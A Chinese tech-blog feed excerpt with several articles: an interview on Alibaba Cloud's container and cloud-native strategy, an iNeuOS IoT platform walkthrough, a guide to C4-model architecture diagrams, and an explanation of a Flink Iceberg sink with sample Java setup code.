    容器作为云原生的代表技术,早在 2004 年,谷歌开始使用容器技术,于 2006 年发布了进程容器,将容器虚拟化基础设施引入 Linux 内核。2013 年,Docker 正式发布,成为现象级的开源项目,同年,“云原生”概念提出;2014 年,Kubernetes 正式发布。

    对此易立表示,容器技术掀起云原生的变革。容器技术推动云计算构建标准化(如 Docker 镜像已成为应用分发和交付的标准);并成为资源调度和编排的标准,从而屏蔽了底层基础架构的差异性,帮助应用部署在不同云的基础设施之上。

    易立表示,只有标准化才能推动规模化的经济,才能和云计算的本质所契合,这是容器技术的重要贡献。它所构建的标准可促使上层建立系列的增值能力来帮助企业和开发者更好地在云上搭建弹性扩展、便于管理的系统。这一点是云原生重要本质。

    云原生除了容器技术外,普遍认为还有持续交付、DevOps、微服务三大要素组成,这四者在易立看来,是技术和业务双方所驱动的必然结果。

    因为在业务上,随着互联网和数字化经济的快速发展,企业面对越来越多不确定性和高速发展。如 2020 年初,我们面对突如其来的疫情,教育和公共健康等行业需迅速在线化业务,方能更好地满足极速增长的业务发展需求。

    这是对企业的巨大挑战,企业需有很好的适应性才能快速应变、保持高速增长,方能在高度动态商业化环境中生存下来。而云原生技术正是助力提升业务的敏捷性。

    这样一来,便涉及到方方面面的技术:如 Severless、持续交付能提供敏捷的开发流程,容器作为标准化软件交付的方式,可推动组织的高效协同,来加速企业创新。微服务是敏捷的应用架构,容器可帮助大规模分布式应用分发、部署、交付、运维,提升自动化和智能化的水平,在这些技术下,来支撑企业架构随时应变与快速迭代。

    易立谈到,云原生是云计算的必然趋势,也是互联网和数字化经济发展的必然结果。因为云原生离不开云计算,云计算可帮助 IT 资源规模化、节约化,降低计算成本提升效率,并且把 IT 能力服务方式提供出来,随取即用,这是构建数字化经济基础设施。云原生是释放云价值的最短路径,帮助企业更好地利用云能力。

    2.png

    云原生在阿里云的前世今生

    2008 年,阿里开始从集中式单体应用到分布式微服务化的演进,HSF、Dubbo 等技术被广泛应用。当内部引入大规模分布式架构后,企业整体面临的架构部署运维较复杂,且整体资源利用率不高。

    2011 年,阿里的 T4 容器开始上线,使用容器技术作为容器化虚拟机运行,由此掀开了阿里在云原生的探索。

    2015 年,容器和云原生技术在阿里大规模被应用,可以从两点体现:在技术上,阿里在当年的双十一开始用云资源来实现成本节约的目标,由于容器有很好的可移植性,从而促成上云目标达成。在组织上,阿里全面拥抱 DevOps 文化,将运维和研发团队合并,也通过容器技术加速了 DevOps 实践和落地。

    随着阿里业务的高速发展,不管是像天猫、购物车等在线业务,还是像数据分析等离线业务,均对资源的利用提出更高的要求,在此发展过程中,采用容器技术能有效地进行节约化、统一化,来提升资源利用率,从而降低成本。

    2018 年底,阿里决定全面上云。当时决定使用云原生的方式上云,而不是用云空间的方式来上云,如此一来,通过在云上把云的能力充分释放出来,从而帮助阿里更好地利用云的价值,加速云原生在阿里的大规模应用进程。

    “这样也给用户更多的信心,因为阿里在用自己的交付系统来打磨阿里云的核心能力,如同和企业客户同乘一架飞机”,易立打趣道。

    3.png

    立体化技术架构全方位保障云上应用安全

    据报告显示,安全是企业对云原生技术的最大顾虑。那么阿里云在这方面有何技术保障?

    对于这个问题,易立先卖个关子,反问道:云原生时代的安全跟传统安全有哪些不同?

    一是云原生应用拥有高动态性和高密度性。

    以前一台机器只部署一个应用,如今一台机器可部署上百个应用,这样一来,密度将会增多。且容器是动态部署应用,前一秒是 A 应用在跑,下一秒可能是 B 应用在跑,这种动态性和高密度是之前所没遇过的安全挑战。

    二是云原生时代研发流程敏捷和快速迭代。

    采用微服务和 DevOps 后,开发人员频繁发布应用,发布频率比传统的应用部署有五倍以上的增长。传统的安全手段是基于流程控制的:先进行审查,审查后上线,线上出问题后,依据非常严格的流程去解决,这样会导致整体软件研发流程较慢。但云原生时代是既要快,又要安全。

    三是大量使用开源技术。

    在云原生时代,企业的很多应用依赖于三方的开源软件,可能会给企业带来不确定性的安全风险。

    面对这些云原生时代的挑战,为了增加安全性,阿里云采用立体化、端到端的安全架构,从基础架构的安全,到安全的软件供应链,再到应用生态的安全,打造立体化的防护。

    首先,云作为公共基础设施,其安全能力高于用户自建数据中心。

    其次是安全的软件供应链,我们要将安全概念融入在整个软件生命周期中,将安全防护能力左移到开发和交付阶段。从 DevOps 进化到 DevSecOps。对此,阿里云提供了容器镜像扫描和加签等产品能力。这些也在阿里内部有良好的落地,阿里电商和支付宝等业务对安全级别要求较高。

    此外还需要保障运行时安全,因为安全风险无处不在。对此,阿里云支持安全沙箱容器,即使不可信的应用也无法破坏容器平台;阿里云安全中心可以实时扫描和监测容器应用的安全风险,并且阻断新的漏洞,助力企业用户打造安全的云原生平台。

    4.png

    阿里云五大优势

    除了安全性外,阿里云的云原生技术还具备五大优势:

    1. 优化整合阿里云能力

    阿里拥有飞天云操作系统、神龙架构、含光芯片等众多自主原创且在世界领先的云能力,阿里云的容器产品和它们做深入整合。如性能容器+神龙架构的组合,拥有零损耗的优势,性能 20% 优于物理机;借助阿里云的弹性能力,可实现应用架构的秒计扩容,实现分钟级扩容千节点等。

    2. 阿里大规模生产实践

    阿里从 2011 年容器化到现在,将近十年的时间里,历经大量的生产环境真实的实践锤炼。2019 年阿里完全基于云原生的技术,开始大规模全面上云。

    3. 大规模的用户应用

    阿里云容器产品如今在全球 19 个公共云可用区开服,支撑西门子、施耐德、奥组委等众多全球企业应用构建在阿里云容器平台上。

    值得一提的是,在疫情期间,面对在线教育飙升的用户流量,阿里云容器助力扩容,如洋葱学院联合创始人 & CTO 李诺谈到:疫情期间,洋葱学院作为头部 K12 在线教育公司,免费向全国师生开放了平台的全部核心课程资源,超过 700 万学生在洋葱学院 App 上自主学习,这期间每天的学习访问人数持续飙升。使用云容器之后,系统在资源利用率上提升了约 60%,出现问题后可快速隔离,当面对急剧增长的业务量,也可以在短时间内扩容进行业务支撑。

    4. 阿里在云原生的关键战略投入

    阿里云 CEO 张建锋多次强调,要大力投入云原生。正因为有了企业的战略性投入,阿里云持续加大产品创新,共同创造更多有价值的新产品。在 2019 年,推出边缘容器(ACK@Edge),致力实现云-边-端一体化协同一体的容器新产品,拓展云原生的边界。

    5. 云原生的开源贡献

    5.png

    在国内开源领域里,阿里的影响力较大。我们看到,在全球顶级开源社区云原生计算基金会(Cloud Native Computing Foundation,简称 CNCF)的技术监督委员会里,阿里云资深技术专家李响入选。另外,阿里云把云原生镜像分发系统 Dragonfly 贡献给 CNCF,目前已进入孵化状态。详情可查看:《重磅 | Dragonfly 晋升成为 CNCF 孵化项目》

    目前阿里集团和蚂蚁金服在安全沙箱领域投入较大,不仅将安全沙箱容器应用在自己的产品里,还会将相关的能力回馈到开源社区。

    6.png

    AI 时代下,云原生发展新动向

    如今随着开源、AI 技术的发展,易立认为云原生可能在以下领域有新的增长点:

    • 一是 AI 方向,据 Gartner 预测,到 2023 年 70% 的 AI 应用是基于容器和 Serverless 技术开发。如今云原生 ML 工具 KubeFlow 能提供用户可组装、复现、移植的 AI 流程,易立的团队已向 KubeFlow 社区贡献深度学习加速器 Arena;
    • 二是 Kubernetes 在应用交付领域有良好的发展倾向,因为 Kubernetes 的定位是为了企业自动化的运维,如今大家对应用交付领域有较高的关注,所以越来越多的标准正在浮现。现在阿里和微软共同推动的 OAM(开放应用模型),便是进一步简化 Kubernetes,将开发和运维进行有效的整理和划分,让整个团队协同变得更加的高效;
    • 三是安全沙箱容器,如今我们看到阿里、谷歌等推出 Kata Containers、Docker、gVisor 等容器技术,便是在探索安全高效的容器技术来支撑上层云原生应用的高速发展。

    7.png

    揭秘未来“容器”的布局

    谈及未来,易立介绍了阿里云在容器的布局:

    • 在容器技术上,目标是构筑新基石、新算力、新生态;

    易立强调,云原生技术是释放云价值的最短路径,可帮助企业更好地支撑混合云、云边一体的分布式架构和全球化的应用交付。

    据 Gartner 分析:80% 以上的企业都会采用混合云的架构,打造混合云和云边一体的方案也是阿里云较关注的方向。易立认为,未来云的架构是动态、混合的架构——云边端一体,公共云能力向边缘设备端拓展,需将计算能力、AI推进到边缘,容器提供一致化的方式对云边端进行统一的应用部署和交付。

    基于云原生软硬一体化的创新技术,阿里云提供强大的算力来加速企业的智能化升级:容器服务结合神龙架构发挥性能和弹性,支持含光800芯片的调度、共享,极致优化深度学习场景的效率、成本。

    • Serverless,由于 Serverless 是云原生计算发展的下一个重要方向,将 Serverless 化的 AI 和数据能力结合在一起将能释放较大的威力,让企业 IT 架构变得更加灵活;
    • Service Mesh(服务网格),服务网格能帮助企业优化微服务应用架构,它把服务治理能力下沉到基础设施,让开发者聚焦在自己的业务逻辑,能极大提升研发效率和技术迭代的速度。当前,阿里经济体在服务网格有较大的投入。

    生态构建计划

    2019 年 9 月,阿里云正式上线容器市场,帮助企业用户便捷地获得经过阿里云认证的商业化、高质量容器应用。

    如今已拥有英特尔等知名企业入驻云市场,覆盖容器安全、商业化应用等产品。此外,阿里云和 SAP 的 Cloud Platform 等企业平台合作全球技术伙伴生态计划。

    最后,易立总结道,当前随着数字化经济的高速发展,越来越多企业会利用云原生技术来加速其架构的互联网化。云原生技术可以帮助企业IT架构具备更好的弹性和自治能力,提升业务敏捷性。

    企业应利用云原生技术来助力自身的数字化和智能化升级,因为云原生技术和异构计算、大数据和 AI 的整合,可以释放巨大的威力,帮助企业把数据资产变成核心竞争力。

    随着 5G 和 IoT 等技术成熟,国家新基建政策会为企业带来全新的机遇。云原生技术可以帮助企业加速云边端应用一体系统,构建下一代动态的大规模无边界的云应用架构。

    如果说云原生是云计算下一个十年的必争之地,那么容器就是最关键的战役,此番 Gartner 容器报告堪称各家云厂商“兵力”综合实力的体现,显然,阿里云已经打赢了云原生最关键一战!

    点击查看阿里云更多资料

    云原生网络研讨会邀您参加

    416直播海报.png

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    iNeuOS云操作系统,.NET Core全系打造 Fri, 02 May 2025 09:39:04 +0800 目录

    一.演示地址... 2

    二.技术体系... 2

    三.iNeuOS整体介绍... 2

    四.iNeuView概述... 3

    五.iNeuView操作流程及应用... 4

     一.演示地址
    
      演示地址: http://demo.ineuos.net。(建议使用chrome浏览器)
      测试名称:admin
    
      测试密码:admin
    
     下载《iNeuOS云操作系统演示应用手册》
     链接:https://pan.baidu.com/s/11HRFsGToPHYe4Uz-x107hQ 
     提取码:p2wd 
    
    二.技术体系
    
         iNeuKernel和iNeuView后台核心代码全部使用.netcore开发;
         iNeuAI后台算法使用python开发,服务调用部分使用.netcore开发;
         所有前端使用原生js+css开发;
    
    三.iNeuOS整体介绍
    
     效果展示,如下图:

    图片.png

    1、iNeuOS 专注打造云端操作系统,提供全新解决方案

    核心组件包括:iNeuLink、iNeuKernel、iNeuView、iNeuAI;
    为中小企业、集成商提供建设工业互联网平台基础框架;
    降低中小企业改造升级、系统维护的成本;
    提高中小企业信息化和运营服务的综合能力;
    

    2、iNeuOS 介绍及特性

    云端运行容器,统一接口,方便集成各类服务组件和业务系统;
    支持各类设备插即用、所见即所得;支持操作系统镜像,方便安装和部署;
    异构数据互联:解决标准和非标准数据的集成;
    设备在线管理:现实设备到虚拟设备的映射和管理;
    快速构建应用:根据数据空间构建应用、发布和使用;
    

    3、iNeuOS 便捷、安全、成本低的综合解决方案

    为企业制定综合解决方案和在线咨询服务;
    为企业提供产品体系终身免费升级服务;
    为企业培训人才,提供在线培训和交流服务;

    图片.png

    iNeuLink
    

    系统边缘设备,主要解决iNeuOS云端操作系统边缘端分布式数据采集和传输的问题,工业级和民用级网关设备,丰富的采集协议,支持图形化组态本地显示,与iNeuOS无缝互联。

    iNeuKernel
    

    系统内核,主要解决iNeuOS云端操作系统物理硬件数据在线交互和管理设备的问题,管理、设备驱动自定义开发、设备虚实映射,实现即插即用,相当于设备运行容器。

    iNeuView
    

    系统视图,主要解决iNeuOS云端操作系统物理硬件数据建模与实时展示的问题,对现实场景进行抽象视图快速构建,支持2D/3D视图建模,及接入设备实时数据绑定、展示。

    iNeuAI
    

    系统人工智能,主要解决iNeuOS云端操作系统物理硬件数据深度挖掘的问题,对设备接入的数据进行过滤、补数、工况标记、选择机器学习算法,自动训练模型和工况预测。

    四.iNeuView概述
    
       本文主要介绍iNeuView视图建模平台,iNeuKernel内核管理器和iNeuAI人工智能已经开发完毕,正在系统集成中…,敬请关注!!!
    
       iNeuOS操作系统中的iNeuView视图建模平台,对iNeuKernel接入的设备或传感器数据进行视图建模、组态和数据实时展示。总共有40个图元类别,3377个图元信息,包括:3D-按钮、交通及工具、人机接口、传感器、分段管、制冷设备、制热设备、加工设备、容器、工业化、工厂设备、建筑物、建筑设备、控制器、暖通空调、机器、水和废水、泵、流量计、用户上载、电力、电机、空调、简单传送、管道、精加工设备、罐、自然、计算机设备、输送设备、造纸、采暖管道、采矿、锅炉、阀门、面板、风机、食物和其他等。
    

    iNeuView整体界面,如下图:
    图片.png

    图 整体界面

    iNeuView视图建模的特点:

    建模和组态的图元信息丰富,满足不同行业和领域实时监测的需求。
    B/S应用框架,部署、应用和发布方便,易于操作。
    与iNeuKernel服务组件无绑对接,实现设备或传感器即插、即用、即显示。
    对编辑的界面可以预览,查看实际应用效果。
    对编辑好的界面可以发布到iNeuOS桌面,类似Windows应用程序。
    
    五.iNeuView操作流程及应用
    

    1、打开iNeuOS演示地址,输入用户名称和密码。

    2、双击【iNeuView】,进入视图建模平台,如下图:
    图片.png

    3、拖拽左侧的图元信息,到编辑区域,如下图:
    图片.png

    4、标注文字,把【标题文本】框拖拽到相应的位置,并且编辑相应的信息,如下图:
    图片.png

    5、绑定数据点,把【数据点】框拖拽到相应的位置,单击【数据源】绑定数据点,如下图:
    图片.png

    图 绑定数据点

       选择要绑定的数据点,进行配置,如下图:

    图片.png

    6、进行编辑预览,预览编辑的实际效果,这时候绑定后的数据点显示的值是随机变化的,如下图:
    图片.png

    7、应用发布,可以把编辑好的界面发布到iNeuOS桌面,单击【保存】,新建要保存的应用的名称,如下图:
    图片.png

    图 应用保存
    图片.png

    图 新建应用名称
    图片.png

    图 保存到桌面

     【保存】后,关闭iNeuView编辑区域,返回到iNeuOS桌面,需要按【F5】进行一次刷新,新建的应用就会显示到桌面上(后期我们会更新,这样不太方便),如下图:

    图片.png

    8、编辑和删除应用,应用发布到桌面后,可以单击【右键】对应用进行打开、编辑和删除操作,如下图:
    图片.png

    9、使用iNeuView开发整个应用,完成!!!
    图片.png

    备注:服务器后台已经部署了iNeuKernel进行设备内核管理,如下图:

    1.[连载]《C#通讯(串口和网络)框架的设计与实现》

    2.[开源]C#跨平台物联网通讯框架ServerSuperIO(SSIO)介绍

    2.应用SuperIO(SIO)和开源跨平台物联网框架ServerSuperIO(SSIO)构建系统的整体方案

    3.C#工业物联网和集成系统解决方案的技术路线(数据源、数据采集、数据上传与接收、ActiveMQ、Mongodb、WebApi、手机App)

    5.github地址:https://github.com/wxzz/ServerSuperIO

    6.助力中小企业级连云端,促进工业互联网平台蓬勃发展,全套解决方案。

    物联网&集成技术 QQ群:54256083
    物联网&集成合作 QQ群:727664080
    合作QQ:504547114

    ]]>
    阿里巴巴技术专家三画:如何画好架构图(文末赠书) Fri, 02 May 2025 09:39:04 +0800 1.png

    作者 | 三画  阿里巴巴技术专家

    导读:技术传播的价值,不仅仅体现在通过商业化产品和开源项目来缩短我们构建应用的路径,加速业务的上线速率,也体现在优秀工程师在工作效率提升、产品性能优化和用户体验改善等经验方面的分享,以提高我们的专业能力。本文作者阿里巴巴技术专家三画,分享了自己和团队在画好架构图方面的理念和经验,首发于阿里内部技术分享平台,梓敬、鹏升和余乐对此文亦有贡献。

    当我们想用一张或几张图来描述我们的系统时,是不是经常遇到以下情况:

    • 对着画布无从下手、删了又来?
    • 用一张图描述我的系统,并且让产品、运营、开发都能看明白?
    • 画了一半的图还不清楚受众是谁?
    • 画出来的图到底是产品图功能图还是技术图又或是大杂烩?
    • 图上的框框有点少是不是要找点儿框框加进来?
    • 布局怎么画都不满意……

    如果有同样的困惑,本文将介绍一种画图的方法论,来让架构图更清晰。

    先理清一些基础概念

    1. 什么是架构

    架构就是对系统中的实体以及实体之间的关系所进行的抽象描述,是一系列的决策。

    架构是结构和愿景。

    系统架构是概念的体现,是对物/信息的功能与形式元素之间的对应情况所做的分配,是对元素之间的关系以及元素同周边环境之间的关系所做的定义。

    做好架构是个复杂的任务,也是个很大的话题,本篇就不做深入了。有了架构之后,就需要让干系人理解、遵循相关决策。

    2. 什么是架构图

    系统架构图是为了抽象的表示软件系统的整体轮廓和各个组件之间的相互关系和约束边界,以及软件系统的物理部署和软件系统的演进方向的整体视图。

    3. 架构图的作用

    一图胜千言。要让干系人理解、遵循架构决策,就需要把架构信息传递出去。架构图就是一个很好的载体。那么,画架构图是为了:

    • 解决沟通障碍
    • 达成共识
    • 减少歧义

    4. 架构图分类

    搜集了很多资料,分类有很多,有一种比较流行的是4+1视图,分别为场景视图、逻辑视图、物理视图、处理流程视图和开发视图。

    • 场景视图

    场景视图用于描述系统的参与者与功能用例间的关系,反映系统的最终需求和交互设计,通常由用例图表示。

    2.png

    • 逻辑视图

    逻辑视图用于描述系统软件功能拆解后的组件关系,组件约束和边界,反映系统整体组成与系 统如何构建的过程,通常由UML的组件图和类图来表示。

    3.png

    • 物理视图

    物理视图用于描述系统软件到物理硬件的映射关系,反映出系统的组件是如何部署到一组可    计算机器节点上,用于指导软件系统的部署实施过程。

    4.png

    • 处理流程视图

    处理流程视图用于描述系统软件组件之间的通信时序,数据的输入输出,反映系统的功能流程 与数据流程,通常由时序图和流程图表示。

    5.png

    • 开发视图

    开发视图用于描述系统的模块划分和组成,以及细化到内部包的组成设计,服务于开发人员,反映系统开发实施过程。

    6.png

    以上 5 种架构视图从不同角度表示一个软件系统的不同特征,组合到一起作为架构蓝图描述系统架构。

    怎样的架构图是好的架构图

    上面的分类是前人的经验总结,图也是从网上摘来的,那么这些图画的好不好呢?是不是我们要依葫芦画瓢去画这样一些图?

    先不去管这些图好不好,我们通过对这些图的分类以及作用,思考了一下,总结下来,我们认为,在画出一个好的架构图之前, 首先应该要明确其受众,再想清楚要给他们传递什么信息 ,所以,不要为了画一个物理视图去画物理视图,为了画一个逻辑视图去画逻辑视图,而应该根据受众的不同,传递的信息的不同,用图准确地表达出来,最后的图可能就是在这样一些分类里。那么,画出的图好不好的一个直接标准就是:受众有没有准确接收到想传递的信息。

    明确这两点之后,从受众角度来说,一个好的架构图是不需要解释的,它应该是自描述的,并且要具备一致性和足够的准确性,能够与代码相呼应。

    画架构图遇到的常见问题

    1. 方框代表什么?

    7.png

    为什么适用方框而不是圆形,它有什么特殊的含义吗?随意使用方框或者其它形状可能会引起混淆。

    2. 虚线、实线什么意思?箭头什么意思?颜色什么意思?

    8.png

    随意使用线条或者箭头可能会引起误会。

    3. 运行时与编译时冲突?层级冲突?

    9.png

    架构是一项复杂的工作,只使用单个图表来表示架构很容易造成莫名其妙的语义混乱。

    本文推荐的画图方法

    10.png

    C4 模型使用容器(应用程序、数据存储、微服务等)、组件和代码来描述一个软件系统的静态结构。这几种图比较容易画,也给出了画图要点,但最关键的是,我们认为,它明确指出了每种图可能的受众以及意义。

    下面的案例来自 C4 官网,然后加上了一些我们的理解,来看看如何更好的表达软件架构。

    1. 语境图(System Context Diagram)

    11.png

    这是一个想象的待建设的互联网银行系统,它使用外部的大型机银行系统存取客户账户、交易信息,通过外部电邮系统给客户发邮件。可以看到,非常简单、清晰,相信不需要解释,都看的明白,里面包含了需要建设的系统本身,系统的客户,和这个系统有交互的周边系统。

    用途

    这样一个简单的图,可以告诉我们,要构建的系统是什么;它的用户是谁,谁会用它,它要如何融入已有的IT环境。这个图的受众可以是开发团队的内部人员、外部的技术或非技术人员。即:

    • 构建的系统是什么
    • 谁会用它
    • 如何融入已有的IT环境

    怎么画

    中间是自己的系统,周围是用户和其它与之相互作用的系统。这个图的关键就是梳理清楚待建设系统的用户和高层次的依赖,梳理清楚了画下来只需要几分钟时间。

    2. 容器图(Container Diagram)

    容器图是把语境图里待建设的系统做了一个展开。

    12.png

    上图中,除了用户和外围系统,要建设的系统包括一个基于javaspring mvc的web应用提供系统的功能入口,基于xamarin架构的手机app提供手机端的功能入口,一个基于java的api应用提供服务,一个mysql数据库用于存储,各个应用之间的交互都在箭头线上写明了。

    看这张图的时候,不会去关注到图中是直角方框还是圆角方框,不会关注是实线箭头还是虚线箭头,甚至箭头的指向也没有引起太多注意。

    我们有许多的画图方式,都对框、线的含义做了定义,这就需要画图的人和看图的人都清晰的理解这些定义,才能读全图里的信息,而现实是,这往往是非常高的一个要求,所以,很多图只能看个大概的含义。

    用途

    这个图的受众可以是团队内部或外部的开发人员,也可以是运维人员。用途可以罗列为:

    • 展现了软件系统的整体形态
    • 体现了高层次的技术决策
    • 系统中的职责是如何分布的,容器间的是如何交互的
    • 告诉开发者在哪里写代码

    怎么画

    用一个框图来表示,内部可能包括名称、技术选择、职责,以及这些框图之间的交互,如果涉及外部系统,最好明确边界。

    3. 组件图(Component Diagram)

    13.png

    组件图是把某个容器进行展开,描述其内部的模块。

    用途

    这个图主要是给内部开发人员看的,怎么去做代码的组织和构建。其用途有:

    • 描述了系统由哪些组件/服务组成
    • 厘清了组件之间的关系和依赖
    • 为软件开发如何分解交付提供了框架

    4. 类图(Code/Class Diagram)

    14.png

    这个图很显然是给技术人员看的,比较常见,就不详细介绍了。

    案例分享

    下面是内部的一个实时数据工具的架构图。作为一个应该自描述的架构图,这里不多做解释了。如果有看不明白的,那肯定是还画的不够好。

    15.png

    画好架构图可能有许多方法论,本篇主要介绍了C4这种方法,C4的理论也是不断进化的。但不论是哪种画图方法论,我们回到画图初衷,更好的交流,我们在画的过程中不必被条条框框所限制。简而言之,画之前想好:画图给谁看,看什么,怎么样不解释就看懂。

    参考资料:

    作者简介

    三画,阿里巴巴技术专家。曾多年从事工作流引擎研发工作,现专注于高并发移动互联网应用的架构和开发,和本文贡献者均来自阿里巴巴零售通部门。

    16.png

    赠书福利

    4 月 17 日 10:00 前在阿里巴巴公众号留言区写下为了成为架构师,你都做过什么努力?

    • 收获赞最多的前 2 名,将获得机械工业出版社图书《阿里云运维架构实践秘籍》 1 本;
    • 收获赞最多的第 3-5 名,将获得淘公仔 1 个;
    • 收获赞最多的第 6-10 名,将获得 CNCF 正版指尖陀螺 1 个。

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    Iceberg 在基于 Flink 的流式数据入库场景中的应用 Fri, 02 May 2025 09:39:04 +0800 本文以流式数据入库的场景为基础,介绍引入 Iceberg 作为落地格式和嵌入 Flink sink 的收益,并分析了当前可实现的框架及要点。

    应用场景

    流式数据入库,是大数据和数据湖的典型应用场景。上游的流式数据,如日志,或增量修改,通过数据总线,经过必要的处理后,汇聚并存储于数据湖,供下游的应用(如报表或者商业智能分析)使用。

    640 1.jpg

    上述的应用场景通常有如下的痛点,需要整个流程不断的优化:

    • 支持流式数据写入,并保证端到端的不重不丢(即 exactly-once);
    • 尽量减少中间环节,能支持更实时(甚至是 T+0)的读取或导出,给下游提供更实时更准确的基础数据;
    • 支持 ACID,避免脏读等错误发生;
    • 支持修改已落地的数据,虽然大数据和数据湖长于处理静态的或者缓慢变化的数据,即读多写少的场景,但方便的修改功能可以提升用户体验,避免用户因为极少的修改,手动更换整个数据文件,甚至是重新导出;
    • 支持修改表结构,如增加或者变更列;而且变更不要引起数据的重新组织。

    引入 Iceberg 作为 Flink sink

    为了解决上述痛点,我们引入了 Iceberg 作为数据落地的格式。Iceberg 支持 ACID 事务、修改和删除、独立于计算引擎、支持表结构和分区方式动态变更等特性,很好的满足我们的需求。

    同时,为了支持流式数据的写入,我们引入 Flink 作为流式处理框架,并将 Iceberg 作为 Flink sink。

    下文主要介绍 Flink Iceberg sink 的实现框架和要点。但在这之前,需要先介绍一些实现中用到的 Flink 基本概念。

    Flink 基本概念

    从 Flink 的角度如何理解"流"和"批"

    640 2.png

    Flink 使用 DataFrame API 来统一的处理流和批数据。

    Stream, Transformation 和 Operator

    一个 Flink 程序由 stream 和 transformation 组成:

    • Stream: Transformation 之间的中间结果数据;
    • Transformation:对(一个或多个)输入 stream 进行操作,输出(一个或多个)结果 stream。

    当 Flink 程序执行时,其被映射成 Streaming Dataflow,由如下的部分组成:

    • Source (operator):接收外部输入给 Flink;
    • Transformation (operator):中间对 stream 做的任何操作;
    • Sink (operator):Flink 输出给外部。

    下图为 Flink 官网的示例,展示了一个以 Kafka 作为输入 Source,经过中间两个 transformation,最终通过 sink 输出到 Flink 之外的过程。

    640 3.jpg

    State, Checkpoint and Snapshot

    Flink 依靠 checkpoint 和基于 snapshot 的恢复机制,保证程序 state 的一致性,实现容错。

    Checkpoint 是对分布式的数据流,以及所有 operator 的 state,打 snapshot 的过程。

    ■ State

    一个 operator 的 state,即它包含的所有用于恢复当前状态的信息,可分为两类:

    • 系统 state:如 operator 中对数据的缓存。
    • 用户自定义 state:和用户逻辑相关,可以利用 Flink 提供的 managed state,如 ValueState、ListState,来存储。

    State 的存储位置,可以分为:

    • Local:内存,或者本地磁盘
    • State backend:远端的持久化存储,如 HDFS。

    如下图所示:

    640 4.jpg

    ■ Checkpoint

    Flink 做 checkpoint 的过程如下:

    1. Checkpoint coordinator 首先发送 barrier 给 source。
    2. Source 做 snapshot,完成后向 coordinator 确认。
    3. Source 向下游发送 barrier。
    4. 下游 operator 收到所有上游的 barrier 后,做 snapshot,完成后向 coordinator 确认。
    5. 继续往下游发送 barrier,直到 sink。
    6. Sink 通知 coordinator 自己完成 checkpoint。
    7. Coordinator 确认本周期 snapshot 做完。

    如下图所示:

    640 5.jpg

    ■ Barrier

    Barrier 是 Flink 做分布式 snapshot 的重要概念。它作为一个系统标记,被插入到数据流中,随真实数据一起,按照数据流的方向,从上游向下游传递。

    由于每个 barrier 唯一对应 checkpoint id,所以数据流中的 record 实际被 barrier 分组,如下图所示,barrier n 和 barrier n-1 之间的 record,属于 checkpoint n。

    640 6.jpg

    Barrier 的作用是在分布式的数据流中,将 operator 的多个输入流按照 checkpoint对齐(align),如下图所示:

    640 7.jpg

    Flink Iceberg sink

    了解了上述 Flink 的基本概念,这些概念又是如何被应用和映射到 Flink Iceberg sink 当中的呢?

    总体框架

    640 8.jpg

    如图,Flink Iceberg sink 有两个主要模块和两个辅助模块组成:

    640 9.png

    实现要点

    ■ Writer

    1. 在当前的实现中,Java 的 Map 作为每条记录,输入给 writer。内部逻辑先将其转化为作为中间格式的 Avro IndexedRecord,而后通过 Iceberg 里的 Parquet 相关 API,累积的写入 DataFile。
    2. 使用 Avro 作为中间格式是一个临时方案,为简化适配,并最大限度的利用现有逻辑。但长期来看,使用中间格式会影响处理效率,社区也在试图通过 ISSUE-870 来去掉 Avro,进而使用 Iceberg 内建的数据类型作为输入,同时也需要加入一个到 Flink 内建数据类型的转换器。
    3. 在做 checkpoint 的过程中,发送 writer 自己的 barrier 到下游的 committer 之前,关闭单个 Parquet 文件,构建 DataFile,并发送 DataFile 的信息给下游。

    ■ Committer

    1. 全局唯一的 Committer 在收到上游所有 writer 的 barrier 以后,将收到的 DataFile 的信息填入 manifest file,并使用 ListState 把 manifest file 作为用户自定义的 state,保存于 snapshot 中。
    2. 当 checkpoint 完成以后,通过 merge append 将 manifest file 提交给 Iceberg。Iceberg 内部通过后续的一系列操作完成 commit。最终让新加入的数据对其他的读任务可见。

    试用 Flink Iceberg sink

    社区上 https://github.com/apache/incubator-iceberg/pull/856 提供了可以试用的原型代码。下载该 patch 放入 master 分支,编译并构建即可。如下的程序展示了如何将该 sink 嵌入到 Flink 数据流中:

    // Configurate catalog
    org.apache.hadoop.conf.Configuration hadoopConf =
        new org.apache.hadoop.conf.Configuration();
    hadoopConf.set(
        org.apache.hadoop.hive.conf.HiveConf.ConfVars.METASTOREURIS.varname,
        META_STORE_URIS);
    hadoopConf.set(
        org.apache.hadoop.hive.conf.HiveConf.ConfVars.METASTOREWAREHOUSE.varname,
        META_STORE_WAREHOUSE);
     
    Catalog icebergCatalog = new HiveCatalog(hadoopConf);
     
    // Create Iceberg table
    Schema schema = new Schema(
       ...
    );
    PartitionSpec partitionSpec = builderFor(schema)...
    TableIdentifier tableIdentifier =
        TableIdentifier.of(DATABASE_NAME, TABLE_NAME);
    // If needed, check the existence of table by loadTable() and drop it
    // before creating it
    icebergCatalog.createTable(tableIdentifier, schema, partitionSpec);
     
    // Obtain an execution environment
    StreamExecutionEnvironment env = 
        StreamExecutionEnvironment.getExecutionEnvironment();
     
    // Enable checkpointing
    env.enableCheckpointing(...);
      
    // Add Source
    DataStream<Map<String, Object>> dataStream =
        env.addSource(source, typeInformation);
     
    // Configure Ieberg sink
    Configuration conf = new Configuration();
    conf.setString(
        org.apache.hadoop.hive.conf.HiveConf.ConfVars.METASTOREWAREHOUSE.varname,
        META_STORE_URIS);
    conf.setString(IcebergConnectorConstant.DATABASE, DATABASE_NAME);
    conf.setString(IcebergConnectorConstant.TABLE, TABLE_NAME);
     
    // Append Iceberg sink to data stream
    IcebergSinkAppender<Map<String, Object>> appender =
       new IcebergSinkAppender<Map<String, Object>>(conf, "test")
           .withSerializer(MapAvroSerializer.getInstance())
           .withWriterParallelism(1);
    appender.append(dataStream);
     
    // Trigger the execution
    env.execute("Sink Test");

    后续规划

    Flink Iceberg sink 有很多需要完善的地方,例如:上文中提到的去掉 Avro 作为中间格式;以及在各种失败的情况下是否仍能保证端到端的 exactly-once;按固定时长做 checkpoint,在高低峰时生成不同大小的 DataFile,是否对后续读不友好等。这些问题都在我们的后续规划中,也会全数贡献给社区。

    参考资料:

    [1] Iceberg 官网:
